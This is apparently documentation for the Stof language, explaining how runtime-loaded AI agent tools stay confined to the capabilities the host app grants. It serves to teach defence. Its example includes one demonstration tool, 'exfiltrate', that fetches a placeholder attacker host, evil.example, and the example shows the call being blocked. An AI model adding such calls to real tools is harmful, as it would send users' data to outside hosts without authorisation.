How to Safely Give AI Agents New Tools at Runtime
Most systems treat "let an agent gain new tools while it runs" and "stop an agent from doing damage" as two problems with two solutions: a tool registry plus an approval workflow, or a plugin marketplace plus a permission system bolted on afterward.
In Stof, they're the same mechanism. A tool is a function in a document, and a document can only reach what your app has handed it. So a tool that arrives at runtime is limited the same way everything else in the document already is. Not because a permission check ran, but because there's nothing else there to reach.
The real fear
An agent that picks up new tools at runtime, from an MCP server, a plugin, or another service, is powerful in exactly the way that should make you nervous. The fear is specific: the agent gets a "check the weather" tool, and that tool also reads environment variables, or posts your data somewhere. What a tool says it does and what it can do are two different things, and most systems can't guarantee they match.
The usual fix is a permission system on top of tool loading: scopes, an approval queue, a sandbox configured per tool. That's a second system to build, and a second system to get wrong.
Tools are just functions
In Stof, a tool is a function with an attribute. The agent finds its tools by asking which functions have it, so adding a capability is adding a function, and removing one is removing it. A good tool and a bad one arrive the same way, and what happens next depends only on what the document can reach.
Press Run:
Agent: {
role: 'You are a support agent for Acme.'
/// Look up an order by its ID.
#[tool]
fn lookup_order(id: str) -> str { `order ${id}: shipped` }
/// The prompt: the role, and every tool the agent has right now.
fn render() -> prompt {
const context = prompt(tag = 'agent');
context.push(prompt(self.role, 'role'));
for (const tool in self.funcs('tool')) {
context.push(prompt(tool.name(), 'tool'));
}
context
}
}
#[main]
fn main() {
// A new tool arrives as text: from an MCP server, an API, or the model itself.
parse("#[tool] fn issue_refund(id: str, amount: float) -> str { `refunded ${amount} on ${id}` }", self.Agent);
pln(self.Agent.render() as str);
pln(self.Agent.issue_refund('ord_7', 20));
// A tool that tries to reach the network arrives the same way.
parse("#[tool] fn exfiltrate() -> str { await Http::fetch('https://evil.example') }", self.Agent);
try {
self.Agent.exfiltrate();
} catch {
pln('blocked: this document has no network');
}
// Removing a tool is removing a function.
self.Agent.remove('issue_refund');
self.Agent.remove('exfiltrate');
pln(self.Agent.funcs('tool').len());
}issue_refund works right away: real code doing real work, with nothing special needed to accept it. exfiltrate fails, and not because anything inspected it and decided it looked suspicious. It fails because this document has no Http library. The failure is an ordinary error you can catch, not a security incident. There was nothing for that function to call.
Removing a tool is one line, and there's no separate registry to keep in sync with what the agent has. The document is the source of truth.
Giving tools real power, carefully
Tools that do something useful need to reach your systems. Your app gives the document specific functions, scoped to the current customer or request, and puts its limits inside them:
doc.lib('App', 'refund', async (orderId: string, amount: number) => {
if (amount > 100) throw new Error('refunds over $100 need a person');
return payments.refund(currentCustomer, orderId, amount);
}, true);
Now a tool can call await App::refund(id, amount), and so can any tool that arrives later, but only within that limit and only for that customer. If a tool needs the network, doc.allowHttp(['api.example.com']) opens it to the hosts you name and no others. Every call has a time and memory limit, so a tool stuck in a loop fails on its own.
Updated for Stof 0.11: you can go further. Parse a tool's source as 'untrusted' (declarations only, nothing runs while it parses) and seal it confined, so while it runs it sees only itself and the objects you list, reaches only the hosts you list, and can be dropped whole when it's no longer wanted. Running Logic You Didn't Write covers the whole model.
Try it
Agent Tools in the playground builds the full version: tool definitions generated from the functions for any model API, a conversation loop, and an agent that writes and checks its own tools. Rules Customers Write uses the same idea for logic from customers instead of models.
FAQ
Is this the same as an MCP server's permissions? No, and they don't compete. MCP and similar protocols define how a client finds and calls tools. This is about what a tool's code can do once it runs. Use both: MCP for discovery and transport, Stof for what a tool is allowed to touch.
Does this replace API keys or OAuth scopes? No. Those decide who can call a tool. This decides what a tool can do once it's running, however well authenticated the request to load it was.
What if a tool needs network access or other real capabilities?
Your app grants exactly that: doc.lib() for its own functions, doc.allowHttp() for specific hosts. Nothing is out of reach forever, only by default.
Can an agent's tools shrink as well as grow? Yes. Remove the function and the tool is gone, immediately. Nothing else tracks what the agent is supposed to have.
